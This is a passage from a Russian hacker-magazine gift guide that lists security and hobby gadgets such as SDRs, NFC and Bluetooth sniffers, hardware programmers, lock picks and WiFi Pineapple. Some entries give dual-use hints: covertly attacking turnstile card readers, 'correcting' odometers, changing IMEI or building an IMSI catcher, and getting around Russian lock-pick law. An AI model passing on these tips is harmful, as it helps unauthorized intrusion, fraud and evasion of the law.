активных  поль зовате лей  и  вхо дил
в тысячу самых посеща емых ресур сов
рунета.

HDClub

МВД  РФ  отчи талось  о  лик видации
круп ного  рус ско языч ного  дар‐ 
кнет‐мар кета    (Russian  anony‐
mous  marketplace),  про веден ной
еще летом.

RAMP
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COVERSTORY

Мы соб рали 64 устрой ства, сре ди которых ты навер няка най‐ 
дешь что‐то, что пораду ет тво их дру зей‐гиков на Новый год
или любой дру гой праз дник либо (мы зна ем, как это быва ет!)
ста нет отличным спо собом пот ратить денеж ки, подарен ные
тебе родс твен никами, у которых не было такого гай да.

Итак, поеха ли! Порядок — слу чай ный, нумера ция толь ко для тво его удобс тва.

Бла годар ности
Ре дак ция «Х» и авто ры статьи выража ют рес пект Льву «shadowsoul» и Ярос‐ 
лаву «P1nk13 P13» за пару отличных допол нений по паяль никам и лок пикин гу.
Спа сибо, ребята!
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UBERTOOTH ONE

Офи циаль ный сайт
Ubertooth  —  это  опен сор сная  желез ка  для  вся чес ких  забав  с  Bluetooth

и Bluetooth LE. «Убер тус» спо собен зах ватывать и демоду лиро вать ради осиг‐ 
налы в диапа зоне ISM 2,4 ГГц с полосой про пус кания 1 МГц и исполь зовани‐ 
ем час тотной модуля ции.

За чем это нуж но? По Bluetooth сей час под клю чает ся мас са бес про вод ных
устрой ств, в том чис ле смарт‐часы, брас леты, кла виату ры и элек трон ные зам‐ 
ки. Мно гие  из  них  никак  не шиф руют  тра фик. Под слу шать  телефон ный  раз‐ 
говор  по  бес про вод ной  гар нитуре  с  ходу  не  получит ся  —  для  это го  пот‐ 
ребова лась бы пол ная под дер жка GFSK и методы взло ма шиф рован ного тра‐ 
фика.  Но  вот  про качать  скил лы  в  Bluetooth  (а  заод но  и  перех ватить  сиг нал
кла виату ры и пароч ки дру гих устрой ств) шанс есть. Цена для такого веселья
не так уж высока — поряд ка 120 дол ларов.
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LEVENHUK DTX 50

Офи циаль ный сайт
Этот циф ровой мик роскоп — отличный инс тру мент для осмотра печат ных

плат,  оцен ки  качес тва  пай ки,  поис ка  мик родефек тов  и  чте ния  мар киров ки
чипов. По сути, это слег ка дорабо тан ная веб‐камера, у которой перевер нули
фрон таль ную лин зу. Доработ ка зак люча ется в уста нов ке кру говой под свет ки
с  регули руемой  яркостью,  коль ца  для  изме нения  фокус ного  рас сто яния
и шта тива.

Де шевые  вари анты  таких  мик роско пов  сто ят  от  полуто ра  тысяч  и  осна‐ 
щают ся  мат рицей  с  раз решени ем  0,3  Мп  (китай цы  напишут  на  такой
хоть 10 Мп, имея в виду бес полез ный циф ровой зум и прог рам мную интерпо‐ 
ляцию).  Но  даже  с  ней  мож но  добить ся  инте рес ных  резуль татов,  хоть
работать будет и неудоб но.

В более дорогих моделях (от пяти тысяч) ста вят CMOS 1,3–2 Мп и более
качес твен ную  опти ку.  Луч ше  заранее  прис мотреть  отдель ный  шта тив,  пос‐ 
коль ку под став ки из ком плек та сде ланы бес толко во. Сто ит устрой ство поряд‐ 
ка 6500 руб лей.

INFO

Ес ли не уда ется сфо куси ровать ся, слег ка пок рути
зум  или  поп робуй  изме нить  рас сто яние  до  рас‐ 
смат рива емо го  объ екта.  В  таких  мик роско пах
сто ит очень при митив ный кон трастный авто фокус
с низ кой чувс тви тель ностью, а на малых рас сто‐ 
яниях его сби вает собс твен ная под свет ка.
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PHILIPS HUE STARTER KIT

Офи циаль ный сайт
Ум ные лам почки в домах — это пока что ред кость, так что стар товый набор

для  умно го  дома — это  по‐преж нему инте рес ный подарок. Про дук ты Philips
недеше вы,  но  они  успе ли  хорошо  себя  зареко мен довать. Стар товый  набор
из хаба и двух лам почек (без цвет ных диодов — с оттенка ми белого) мож но
най ти  от  7  тысяч  руб лей,  более  кру тая  вер сия  с  тре мя  лам почка ми  и  вык‐ 
лючате лем сто ит 15. Если будешь заказы вать за рубежом, смот ри, что бы под‐ 
ходил пат рон и вил ка хаба.

4

LIMESDR MINI

Crowd Supply
SDR  (software‐defined  radio) —  это  циф ровые  при емни ки  ради осиг налов

с фун кци ей ска ниро вания каналов, адап тирован ные для хакер ских изыс каний.
К ним под клю чают внеш ние антенны раз ного типа, и для них есть спе циали‐ 
зиро ван ный софт, в том чис ле твик нутые драй веры и про шив ки.

Ти пич ный  диапа зон  этих  девай сов  сос тавля ет  поряд ка  24–1700  МГц.
В  этот  диапа зон  вхо дит  льви ная  доля  занима тель ного  ради оэфи ра  —
от  перего воров  пилотов  и  город ских  служб  до  пря мых  тран сля ций  с  МКС.
В нем же находят ся управля ющие сиг налы элек трон ных зам ков и сис тем опо‐ 
веще ния,  телера диове щание  и  сотовая  связь.  Прос тор  для  иссле дова ний
прос то огромный! Под робнее  .чи тай в «Хакере»

LimeSDR Mini как раз и есть недоро гая SDR‐ка, млад ший соб рат уже став‐ 
шего популяр ным LimeSDR. За какие‐то 140 дол ларов она поз волит тебе вво‐ 
лю  позаба вить ся  с  ради отра фиком.  Если  HackRF  и  BladeRF  с  тво им  бюд‐ 
жетом несов мести мы, то обра ти вни мание.
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TREZOR BITCOIN WALLET

Офи циаль ный сайт
Ап парат ные  кошель ки  для  хра нения  крип товалю ты  появи лись  нес коль ко

лет  назад,  и  Trezor  Bitcoin  Wallet  был  одним  из  пер вых.  Сегод ня  это  один
из  луч ших  спо собов  обе зопа сить  свой  wallet.dat  и  сох ранить  намай нен ное
тяж ким  тру дом.  Для  про веде ния  пла тежей  нуж но  ввес ти  пин‐код  раз бло‐ 
киров ки и под клю чить его по USB к компь юте ру.

Шес тис троч ный OLED‐экран с раз решени ем 128 на 64 пик селя отоб ража‐ 
ет  информа цию  о  выпол няемых  дей стви ях.  Для  под твержде ния  тран закций
исполь зуют ся механи чес кие кноп ки. Это поз воля ет быть уве рен ным, что сум‐ 
ма  перево да  соот ветс тву ет  вве ден ной,  а  сам  пла теж  уйдет  по  ука зан ному
адре су,  даже  если  он  осу щест вля ется  в  недове рен ной  сре де  (нап ример,
на чужом компь юте ре).

По мимо Bitcoin, устрой ство под держи вает раз ные аль ткой ны, в час тнос ти
Litecoin,  DASH  и  Zcash.  Внут ри  девай са  уста нов лен  мик ропро цес сор  ARM
Cortex M3 и работа ет собс твен ная ОС.

Trezor Bitcoin Wallet под держи вают Windows, Linux, Android и macOS, но на
прак тике его мож но исполь зовать с любой ОС, спо соб ной запус тить бра узер.
Обой дет ся эта полез ная шту ка в 90 евро.
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BEAGLEBONE

Офи циаль ный сайт
Ты навер няка уже и сам переп робовал раз ные одноплат ные компь юте ры

и зна ешь, что выбор огро мен — от фир менной Raspberry Pi, которая хороша
как  подарок  нович ку,  до  китай щины  вро де  Banana  Pi,  которую  луч ше  брать
себе для экспе римен тов. Но если выбирать осно ву для хакер ских девай сов,
то отличный выбор — это BeagleBoard.

Эта  плат ка  может  пос лужить  осно вой  для  собс твен ного  роуте ра
под  хакинг  Wi‐Fi  или  выделен ной  стан цией  для  пог ружения  в  мир  раз ного
рода интерфей сов. При чем речь идет не толь ко о получе нии рут шеллов через
UART или же прог рамми рова нии чипов по SPI. Все гораз до инте рес нее. Нап‐ 
ример, есть воз можность  .по быть в ста тусе зло го SPI slave устрой ства

Ну  и  пожалуй,  глав ный  козырь  —  это  воз можность  прок сирова ния  USB
за  счет  наличия  USB‐хос та  и  USB  OTG  из  короб ки.  Для  одноплат ников
это боль шая ред кость. Плюс есть  . Сто ить
это чудо будет от 50 дол ларов.

мно го инте рес ного соф та на GitHub

Как вари ант, всег да есть Raspberry Pi. Вер сия 3B с четырь мя USB отлично
подой дет  начина юще му.  В  Рос сии  весь  ком плект  с  кор пусом,  заряд кой
и флеш кой мож но при обрести где‐то за 5–6 тысяч руб лей.

Raspberry Pi Zero W

В качес тве инте рес ного, но более бюд жетно го вари анта можешь пос мотреть
на  Raspberry  Pi  Zero  W:  с  пор тами  у  этой  малют ки  негус то,  зато  есть  Wi‐Fi
и Bluetooth. В Рос сии такая плат ка обой дет ся при мер но в 2000 руб лей.
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ORICO HDD EXTERNAL DOCKING
STATION

AliExpress
Док‐стан ция  с  интерфей сом  eSATA  и  USB  3.0  для  под клю чения  SATA‐

накопи телей (HDD/SSD) раз ных форм‐фак торов (2,5/3,5″) и любого объ ема.
Дис ки  уста нав лива ются  бук валь но  одним  дви жени ем  —  как  кар ты  памяти
в  кар три дер.  Никаких  инс тру мен тов  не  тре бует ся.  Охлажде ние  пас сивное
(никако го шума!).

Осо бен но горячим дис кам мож но добавить кор пусный вен тилятор 120 мм.
Он  иде аль но  под ходит  по  раз меру  и  прос то  ста вит ся  рядом.  Если  запитать
его от 5 В (нап ример, от USB или ста рой телефон ной заряд ки), то получит ся
прак тичес ки бес шумный обдув.

Де вай сы  для  гиков  и  прод винутых  поль зовате лей  всег да  выпус кают
малыми  пар тиями.  Они  быс тро  исче зают  из  про дажи,  как  это  слу чилось
с  док‐стан циями  для  жес тких  дис ков.  Если  рань ше  Sarotech  и  ViPower  пос‐ 
тавля ли  в  Рос сию  прек расные  крэд лы  с  интерфей сом  eSATA,  то  сей час
на рын ке мож но най ти лишь шир потреб ные подел ки с USB 3.0.

Вы руча ет как раз Orico, да еще все го за 30 дол ларов. Та же фир ма дела ет
олд скуль ные док‐стан ции с eSATA, который поз воля ет обра щать ся к накопи‐ 
телям  безо  вся ких  огра ниче ний.  Переназ начение  сбой ных  сек торов,  изме‐ 
нение  HPA,  управле ние  AAM,  вос ста нов ление  дан ных —  все  это  воз можно
толь ко с натив ным интерфей сом.
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APPLE AIRPODS

Офи циаль ный сайт
Ес ли  твой  при ятель  обло жил ся  тех никой  Apple  или  хотя  бы  поль зует ся

айфо ном, то науш ники AirPods дол жны его порадо вать. Они лег ковес ны, неп‐ 
лохо зву чат для сво его раз мера, а глав ное — перек люча ются меж ду устрой‐ 
ства ми без свой ствен ного Bluetooth гемор роя. Дру гая при ятная фича — они
авто мати чес ки  вык люча ются,  если  вынуть  из  уха  один  науш ник  (но
при  желании  мож но  вклю чить  обратно).  Офи циаль ная  цена  в  Рос сии  —
12 тысяч руб лей.
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BATBAND

Офи циаль ный сайт
Тех нология  кос тной  про води мос ти  зву ка,  поз воля ющая  изба вить ся

от вкла дышей или нак ладных науш ников и переда вать звук пря мо в кость, —
далеко не новин ка. Ком пания AfterShokz не пер вый год успешно про изво дит
такие,  а  на  AliExpress  мож но  най ти  сра зу  нес коль ко  его  кло нов.  Вот  толь ко
выг лядят они все так, что надевать осо бо не хочет ся. Batband — более эле‐ 
ган тное  решение,  которое  отлично  подой дет  в  качес тве  подар ка.  Цена:
200 дол ларов.
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ARDUINO MINI

Ва риан ты «Амперки»
Плат форма Arduino и ее мно гочис ленные китай ские кло ны хороши для изу‐ 

чения  основ  прог рамми рова ния  мик рокон трол леров.  С  их  помощью  мож но
быс тро научить ся писать управля ющие скрип ты, получать информа цию с дат‐ 
чиков и дер гать любые устрой ства.

В  рос сий ском  вари анте,  которые  дела ют  в  «Амперке»,  мно го  вни мания
уде лено  имен но  удобс тву  изу чения.  Рус ско языч ные  опи сания,  готовые  схе‐ 
мы — все это есть на сай те, так что для подар ка начина юще му это отличный
вари ант. Все в ком плек те сто ит 1400 руб лей.

Но если будешь дарить, не забудь пре дуп редить получа теля, что эта шту ка
хороша имен но для обу чения и соз дания про тоти пов. А вот фигачить сво его
биг дога или наворо чен ный умный дом на Arduino и про чих готовых ком понен‐ 
тах —  не  луч шая  идея.  Все  рав но  потом  при дет ся  перей ти  на  ATmega328P
или что‐нибудь подоб ное.
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«ТЕХ НОКУБ»

Офи циаль ный сайт
Ког да покупа ешь в подарок набор начина юще го мей кера, неп лохо подыс‐ 

кать такой, что бы из него мож но было сра зу соб рать что‐нибудь работа ющее.
На  эту  роль  впол не  под ходит  «Тех нокуб»  —  один  из  наборов  «Амперки».
Это  кубик  со  све тоди ода ми,  который  сто ит  на  сто ле  и  опо веща ет  о  раз ных
вещах.  Но  самое  глав ное  —  это,  конеч но,  соб рать  самому.  Набор  сто‐ 
ит 2500 руб лей.

Продолжение статьи →
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STM32 DISCOVERY

, « »Офи циаль ный сайт Чип и Дип
Нас тоящие раз работ чики embedded, конеч но, с Arduino не сидят. Кто в XXI

веке  про екти рует  железо  на  вось мибит ном,  ког да  мож но  взять  32‐бит ный
ARM  из  семей ства  STM32  за  те  же  день ги?  Если  про вес ти  попар ное  срав‐ 
нение  плат  Arduino  с  их  STM32‐ана лога ми,  то  выяс нится,  что  STM32  дает
боль ше мегагерц, килобай тов и интерфей сов за те же день ги.

Зна комс тво  с  STM32  мы  рекомен дуем  начинать  с  при обре тения  любой
отла доч ной  пла ты  из  семей ства  STM32  Discovery.  Эти  пла ты  сто ят
от 1500 руб лей и содер жат сра зу два чипа STM32, один из них (как пра вило,
STM32F0) слу жит отладчи ком для вто рого, основно го и более жир ного мик‐ 
рокон трол лера.  Дело  в  том,  что  тех нология  ST‐Link  v2  поз воля ет  одно му
STM32‐чипу отла живать дру гой.

Чип  отладчи ка  на  пла тах  STM32  Discovery  мож но  исполь зовать  для  про‐ 
шив ки  или  отладки  любого  дру гого  ARM‐мик рокон трол лера,  а  не  толь ко
STM32, за счет залив ки офи циаль ной про шив ки, прев раща ющей его в  .J‐Link

За  управле нием  ком мутаци ей  меж ду  чипами  отве чает  пара  джам перов,
так  что  если  будет  желание  переп рошить  дру гой  ARM,  то  дос таточ но  выс‐ 
тавить джам перы и под клю чить  про шива емое  тело  к  отдель ной  выведен ной
груп пе пинов с говоря щим наз вани ем SWD.

INFO

Раз уж заш ла речь о прод винутых тех никах прог‐ 
рамми рова ния  мик рокон трол леров,  то  пореко‐ 
мен дуем и софт. Ког да Arduino IDE ста нет не хва‐ 
тать, мож но начинать переби рать ся  во  взрос лый
мир  раз работ ки  под  STM32  на  осно ве  связ ки
STM32CubeMX  и  SystemWorkbench  IDE.
STM32CubeMX поз воля ет генери ровать код, ини‐ 
циали зиру ющий  железо,  кон фигури рующий  наз‐ 
начение  пинов,  час тоту  работы  кон трол лера.
При необ ходимос ти CubeMX поз воля ет добавить
минималь ный HAL или же целый FreeRTOS в код
про шив ки.  А  SystemWorkbench  пред став ляет
собой адап тирован ный Eclipse в ком плек те с тул‐ 
чей нами и про шиваль щиком.
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HYDRABUS

Офи циаль ный сайт
Еще  одно  инте рес ное  хакер ское  устрой ство  на  STM32 —  это  HydraBus.

Эта пла та поз воля ет работать с огромным количес твом интерфей сов на em‐
bedded‐железе, при чем для это го, как пра вило, ничего не тре бует ся писать!
Про шив ка HydraFW содер жит неболь шой и понят ный коман дный интерфейс,
с  которым мож но  начать  работать  с  любым под держи ваемым интерфей сом
за пять минут. Более того, про шив ка под держи вает скрип тинг для авто мати‐ 
зации  типовых  дей ствий.  Скрип ты  хра нят ся  на  SD‐кар те,  так же  воз можен
авто запуск  скрип та  на  выпол нение,  что  при  опре делен ных  усло виях  игра ет
реша ющую роль. Обой дет ся эта полез ная желез ка все го в 50 евро.
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HYDRANFC

Офи циаль ный сайт
По мимо самого HydraBus,  есть  так же  аппа рат ное рас ширение  с  говоря‐ 

щим  наз вани ем  HydraNFC.  На  дан ный  момент  HydraBus  +  HydraNFC  —
это  луч ший  ком плект  для  хакин га  NFC.  При чем  не  пос леднюю  роль  в  этом
воп росе игра ет как раз воз можность зас крип товать ата ку. Да и по цене она
куда дешев ле прес ловуто го Proxmark!

Сог ласись, про ще и незамет нее ата ковать счи тыва тель карт на тур никете
с помощью неболь шого девай са, пишуще го трей сы на SD‐кар ту, нежели сто‐ 
ять с ноут буком и пла той в ожи дании неиз бежно го появ ления охра ны с инте‐ 
рес ными  воп росами.  Но  мы,  конеч но,  нас тоятель но  не  рекомен дуем
занимать ся  такими  шту ками.  А  вот  что  рекомен дуем,  так  это  купить
HydraNFC — и дру гу, и себе. Вер сия плат ки отдель но от «гид робаса» обой‐ 
дет ся в 80 евро, а в пол ном ком плек те — в 150.
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MINIPRO TL866CS

« », Тех ноцентр AliExpress
Уни вер саль ный парал лель ный прог рамма тор,  который под держи вает 

.  Наибо лее  вос тре бован  в  авто мобиль ном
чип‐тюнин ге  и  «кор ректи ров ке»  одо мет ров.  Так же  исполь зует ся  для  переп‐ 
рошив ки матери нок и ИС бытовой тех ники.

бо‐ 
лее  13  тысяч  интеграль ных  схем

MiniPro TL866CS под клю чает ся по USB. Драй веры есть для Windows раз‐ 
ных вер сий — от «вин тукея» до 64‐бит ной «вось мер ки». Под «десят кой» тоже
дол жен  работать,  но  из  лич ного  опы та  мы  совету ем  стро го Windows  7  x86.
Цена — 3000 руб лей.
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FT2232H USB 2.0 HI-SPEED BREAKOUT
BOARD

Ма газин Seeed
Пла ты  на осно ве  чипа FTDI  FT232 — это  удоб ные мно гофун кци ональ ные

устрой ства,  которые  поз воля ют  решать  самые  раз ные  задачи,  свя зан ные
с  железом.  В  час тнос ти,  мож но  наладить  работу  с  целым  семей ством  пос‐ 
ледова тель ных интерфей сов: UART, SPI, I2C, JTAG.

На личие режима прог рам мно го «дры гания» отдель но взя той нож кой (GPIO
bit‐bang) поз воля ет лег ко реали зовать прос тое вклю чение/вык лючение диода
или же работу со  .
Таким  опус кани ем  и  под няти ем  уров ня  нож ки  и  реали зова на  прог рам мная
под дер жка SPI, JTAG, AVR ISP, I2C.

спе цифич ным низ коско рос тным интерфей сом, типа 1‐Wire

Обыч ная пла та на осно ве чипа FT232RL сей час сто ит копей ки, но не спе‐ 
ши  ее  брать,  так  как  bit‐bang  сущес твен но  огра ничи вает  ско рость  работы
интерфей са  из‐за  сво ей  прог рам мной  сути.  Луч ше  не  ску пить ся  и,  докинув
пару бак сов, при обрести себе на роль прог рамма тора 

. Ну или  .
что‐нибудь на осно ве

чипа FT232H по искать что‐нибудь с AliExpress
При чина  —    (Multi‐Protocol  Syn‐

chronous  Serial  Engine).  Эта  тех нология  поз воля ет  аппа рат но  эму лиро вать
перечис ленные интерфей сы, за счет чего получа ется сущес твен ный при рост
в ско рос ти работы.

ре али зация  в  FT232H  режима  MPSSE

Пла та  FT232H  поз воля ет  в  режиме  UART  работать  на  ско рос ти
в 12 мегабод и до 6 мегабод в режиме MPSSE. В слу чае с FT232R речь идет
о ско рос ти все го в 3 мегабо да в режиме UART и менее мегаба ра в режиме
bit‐bang. Так что советую не пос купить ся на FT232H и сэконо мить себе нер вы
и вре мя, избе жав мытарств с лагами bit‐bang. Тем более сто ит подоб ная ско‐ 
рос тная пре лесть все го 27 дол ларов.
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BUS BLASTER V4

Ма газин Seeed
Ес ли ско рос ти и воз можнос ти FT232H кажут ся слиш ком скром ными, обра‐ 

ти вни мание на устрой ства на чипе FT223H. По сути, это два FT232H в одном
кор пусе. А это зна чит в два раза боль ше интерфей сов и в два раза боль ше
ско рость. Имен но на осно ве 2232H сде лано боль шинс тво «фир менных» прог‐ 
рамма торов.

Из  готовых  девай сов  хорош  Bus  Blaster  v4,  который  мож но  купить
за 45 дол ларов. Осо бен ность устрой ства в  том, что, помимо чипа FT2232H,
на  пла те  есть  неболь шая CPLD про изводс тва  Xilinx. Эта CPLD исполь зует ся
как логичес кий буфер для кон верта ции логичес ких уров ней 1,5–3,3 В в понят‐ 
ный  для  FTDI  чип  3,3  В.  Это  поз волит  тебе  под клю чать ся  к  интерфей сам
на мобил ках, где, как пра вило, исполь зует ся логичес кий уро вень в 1,8 В для
энер гоэф фектив ности.  Более  того,  CPLD‐буфер  может  быть  зап рограм‐ 
мирован для под дер жки раз ных модифи каций JTAG, за счет чего реали зован,
нап ример, интерфейс SWD, который идет на сме ну JTAG.

Еще один довод в поль зу FT223H — наличие при мера реали зации работы
с NAND на осно ве это го чипа. Под робнее смот ри   и  .тут тут

По  час ти  соф та  чипы  FTDI  под держи вают ся  в  популяр ном  отладчи ке
OpenOCD  и  прог рамма торе  Flashrom.  А  еще  сущес тву ет  мас са  биб лиотек
под раз ные язы ки прог рамми рова ния, так что можешь сам запилить то, чего
еще нет.
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PASTILDA

Crowd Supply
Один из ярких пред ста вите лей семей ства STM32 — аппа рат ный менед жер

паролей Pastilda. Это пол ностью откры тая плат форма, которая реша ет задачу
безопас ной авто риза ции в недове рен ной сре де. Pastilda выг лядит как длин‐ 
ная флеш ка с дву мя пор тами USB — в один под клю чает ся кла виату ра, в дру‐ 
гой — кабель к компь юте ру.

Pastilda может работать в одном из двух режимов: проз рачном и защищен‐ 
ном.  В  проз рачном  режиме  все  скан‐коды  кла виатур ных  нажатий  прос то
тран сли руют ся в порт USB без изме нений. В защищен ном режиме про исхо‐ 
дят обра щения к пароль ной базе, которая хра нит ся в фор мате KeePass и рас‐ 
шифро выва ется толь ко во внут ренней памяти Pastilda. Все воз можные кей лог‐ 
геры и тро яны не могут до нее дотянуть ся, пос коль ку компь ютер по‐преж нему
«видит» модуль Pastilda как кла виату ру.

Ого ворим ся,  что  мы  не  тес тирова ли  этот  девайс,  но  его  опи сание  нас
заин тересо вало. Заказать устрой ство мож но за 65 дол ларов в минималь ном
вари анте.
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PULSERAIN M10

Crowd Supply
От ладоч ные  пла ты  на  базе  ПЛИС  (FPGA)  час то  исполь зуют ся  для  рас‐ 

ширения  воз можнос тей  одноплат ных  компь юте ров.  Они  уве личи вают  чис ло
дос тупных GPIO, самос тоятель но обра баты вают часть дан ных и переда ют их
основно му про цес сору. С их помощью мож но даже 

.
прев ратить Raspberry Pi

в JTAG‐прог рамма тор
PulseRain  M10  —  инте рес ная  раз рабаты ваемая  FPGA‐пла та.  В  отли чие

от мно гих ана логов она пред лага ет прог рам мный интерфейс и форм‐фак тор,
сов мести мый  с  Arduino.  Про ект  PulseRain  пол ностью  открыт  —  от  дизай на
пла ты  до  кода  сис темы  и  при ложе ний.  Сей час  ты  можешь  успеть  отхва тить
плат ку  по  пред заказу  все го  за  85  дол ларов.  К  это му Новому  году,  конеч но,
не пос пеет, но возь ми на замет ку.
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XIAOMI MI BAND 2

Офи циаль ный сайт
Mi Band 2 не пер вый год сущес тву ет на рын ке, но про дол жает оста вать ся

иде аль ным  подар ком  тем,  кто  до  сих  пор  не  обза вел ся  умны ми  часами
или  фит нес‐тре кером.  Брас лет  прак тичес ки  невесом,  работа ет  месяц
на  одном  заряде,  поз воля ет  отсле живать  шаги,  пульс,  фазы  сна,  неж но
будить  хозя ина  по  утрам,  уве дом лять  о  звон ках,  СМС  и  событи ях  в  любых
при ложе ниях. Он не боит ся  воды,  сов местим с  iPhone, Android  и  сто ит  все‐ 
го 1500 руб лей.
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NOKIA STEEL HR

Офи циаль ный сайт
Фир ма Withings,  которая  переш ла  под  кры ло  Nokia,  дела ет  умные  весы,

тер момет ры и  тономет ры, одна ко  это далеко не самые веселые подар ки —
осо бен но если  твой друг  дей стви тель но нуж дает ся  в  чем‐то из  это го.  А  вот
мод ные часики, которые заод но работа ют в качес тве шагоме ра, уме ют сле‐ 
дить  за  сном  и  изме рять  пульс, —  самое  то.  Они  про дают ся  у  нас  и  сто ят
поряд ка 20 тысяч руб лей.
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POCKETCHIP

Офи циаль ный сайт
Это  док‐стан ция  для  ,  сде лан ного

на  базе  однокрис талки  Allwinner  К8.  PocketCHIP  добав ляет  к  нему  дис плей
с сен сорным экра ном (480 × 272) и све тоди одной под свет кой, мини атюр ную
QWERTY‐кла виату ру  и  литий‐полимер ную  батарею  —  все  в  лег ком  проз‐ 
рачном  кор пусе.  Так же  на  PocketCHIP  есть  виде овы ход  и  разъ ем  1/8″
для под клю чения науш ников. Кон такты GPIO лег ко раз мыка ются для под клю‐ 
чения  раз ной  перифе рии.  Выводы  UART  пред назна чены  для  отла доч ного
дос тупа к самому C.H.I.P..

од ноплат ного  компь юте ра  C.H.I.P.

В общем,  за 70 дол ларов  ты можешь при обрести  хар двер ный  хакер ский
тер минал — мик рокомпь ютер раз мером с кре дит ку, спо соб ный про рабо тать
до пяти часов в авто ном ном режиме. В нем будет про цес сор ARM v7 с  так‐ 
товой  час тотой  1  ГГц,  512  Мбайт  опе ратив ной  памяти,  ГП  Mali  400,  Wi‐Fi
и  Bluetooth,  а  глав ное  —  прог рамми руемые  вво ды/выводы  и  собс твен ный
дис плей с кла виату рой.

Пос той,  мы  написа ли  «можешь  при обрести»?  Увы,  в  дан ный  момент
не можешь — заказы пока при оста нов лены до пос тупле ния новой пар тии. Что
ты можешь купить  (и даже пре под нести в подарок) — это лицен зию на эму‐ 
лятор  фан тазий ной  рет рокон соли  ,  под  который  и  раз рабаты вал ся
PocketCHIP.

PICO‐8
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SPARROWS LOCK PICKS

Офи циаль ный сайт
Лок пикинг,  или  вскры тие  зам ков,  —  дав нее  хакер ское  увле чение  —

по  боль шей  час ти,  конеч но,  чис то  раз вле катель ное.  Прос тые  зам ки  мож но
открыть  и  скреп кой,  а  вот  для  упражне ний  с  более  слож ными  пот ребу ются
отмычки. Они быва ют раз ными для каж дого типа зам ков, и их мож но легаль но
при обрести  во  мно гих  стра нах,  вклю чая  Рос сию.  Для  начина ющих  отлично
подой дет  набор  Sparrows  Lock  Picks.  Зам ки  и  отмычки  от  20  бак сов  за  пак
пораду ют сер дце начина юще го мед вежат ника.

WARNING

По куп ка отмы чек в Рос сии без спе циаль ного раз‐ 
решения  незакон на,  поэто му  посыл ку  с  ними
могут  изъ ять,  а  в  худ шем  слу чае  —  завес ти
на  тебя  дело  по  статье  138.1  УК  РФ.  Обой ти
это  мож но,  нап ример,  получив  посыл ку  за  гра‐ 
ницей и при везя потом ком плект с собой.
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TP-LINK WN722N

Офи циаль ный сайт
Ес ли хочешь подарить что‐нибудь прак тичное, что бы навер няка при годи‐ 

лось  в  хозяй стве,  то Wi‐Fi‐адап тер  TP‐Link WN722N —  это  отличный  выбор.
А  вот  «свис ток»  на  чипе  Atheros  откры вает  воз можность  про водить  самые
раз ные ата ки на Wi‐Fi. Малое энер гопот ребле ние поз воля ет под клю чать его
к  устрой ствам  на  Android  через  USB‐OTG.  Сто ит  такой  адап тер  око‐ 
ло 700 руб лей, но нуж но искать вер сию 1.x. Вто рая вер сия, увы, уже на чипе
Realtek RTL8188EUS.

Продолжение статьи →



64 ПОДАРКА ДЛЯ ГИКА
ВЫБИРАЕМ ЛУЧШИЕ ХАКЕРСКИЕ ГАДЖЕТЫ

ДЛЯ ДРУЗЕЙ И ДЛЯ СЕБЯ

COVERSTORY  НАЧАЛО СТАТЬИ←
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GL-MIFI

Офи циаль ный сайт
Пор татив ный  роутер,  который  может  раз давать  мобиль ный  интернет,  —

это  полез ное  устрой ство  незави симо  от  того,  будет  ли  получа тель  подар ка
его  исполь зовать  как  хакер ский  девайс  или  нет.  GL‐MiFi  —  это  неболь шая
коробоч ка  с  чипом  Atheros  AR9331,  сло том  для  мини‐сим ки,  батарей кой
и (опци ональ но) парой внеш них шты ревых антенн.

Ес ли тебе хочет ся заиметь мобиль ный и ано ними зиру ющий роутер или же
сде лать свой WiFi Pineapple, MiFi — твой выбор. Ста биль ный и клас сный Ath‐
eros AR9331 + модем Quectel EC20/EC25 = пот ряса юще удач ный и недоро гой
девайс.

На  Atheros  SoC  спо кой но  собира ется  OpenWRT/LEDE,  про изво дитель
изна чаль но пос тавля ет про шив ку имен но на осно ве OpenWRT. Так же с сай та
про изво дите ля мож но ска чать готовые бил ды с под дер жкой Tor. Одна ко луч‐ 
ше соб рать про шив ку самому и допол нить ее соф том из WiFi Pineapple.

На работ ки по прев ращению любого под ходяще го роуте ра в «Ана нас» ищи
в  , одно го из авто ров этой статьи.ре пози тории Оле га Куп реева

Кста ти, модем Quectel EC20/EC25 зас лужива ет отдель ного вни мания, так
как  .  То  есть  про шив ку  мож но
модифи циро вать под свои нуж ды, а так же сме нить  IMEI или же сде лать  IMSI
Catcher. Все это и мно гое дру гое мож но сде лать с этим модемом, бла го внут‐ 
ри у него чип сет Qualcomm MDM9615.

он  самый  хакабель ный  на  дан ный  момент

Так же бонус в виде наличия при емни ка GPS/ГЛО НАСС в модеме поз воля‐ 
ет  исполь зовать  роутер  для  соз дания  сво ей  кар ты Wi‐Fi  c  помощью  связ ки
Kismet + GPSD. Роутер — однознач ный маст хэв — при годит ся точ но.

В пол ной ком плек тации GL‐MiFi обой дет ся при мер но в 100 дол ларов, есть
дос тавка в Рос сию.
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WIFI PINEAPPLE

Офи циаль ный сайт
Из вес тное  устрой ство  для  быс тро го  про веде ния  MitM‐атак  по  Wi‐Fi.

Девайс  при киды вает ся  дру гой  точ кой  дос тупа  (нап ример,  откры тым  хот спо‐ 
том  в  кафе)  и  собира ет  уро жай  тра фика  с  бес про вод ных  устрой ств  довер‐ 
чивых поль зовате лей.

Тех ничес ки WiFi Pineapple — это мини атюр ный роутер с про шив кой Open‐
WRT и  тре мя сетевы ми интерфей сами: один LAN и два WLAN. Оба бес про‐ 
вод ных  интерфей са  мож но  перек лючать  в  режим  монито рин га.  В  про шив ку
заг ружены Karma, PineAP и дру гие хакер ские ути литы (набор зависит от вер‐ 
сии).  Для  про веде ния  типовых  атак  на  кор пусе  устрой ства  даже  есть мини‐ 
атюр ные перек лючате ли.

Са мая  дешевая  вер сия  NANO  Basic  обой дет ся  тебе  в  100  дол ларов,
пофичас тее будет сто ить до 230. Анти рек ламу делать не хотим (у «Ана наса»
куча фанатов), но, на наш взгляд, устрой ство слиш ком дорогое. Если хочешь
подарить  имен но  такой —  бери.  Но  куда  инте рес нее  поп робовать  соб рать
что‐то похожее на базе роуте ров GL‐Inet.
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GPD POCKET

Indiegogo
Что ты зна ешь о мини атю риза ции? Каков бы ни был ответ, ребята из GPD

зна ют  об  этом  нам ного  боль ше.  Они  умуд рились  запих нуть  пол ноцен ный
ноут бук  в  кор пус  раз мером  с  семидюй мовый  план шет.  И  это  не  какой‐то
обре зок  телефо на  в  фор ме  рас кла душ ки,  а  доволь но  неп лохая  сис тема
на  базе  четырехъ ядер ного  Intel  Cherry  Trail  X7‐Z8700  с  8  Гбайт  опе ратив ки,
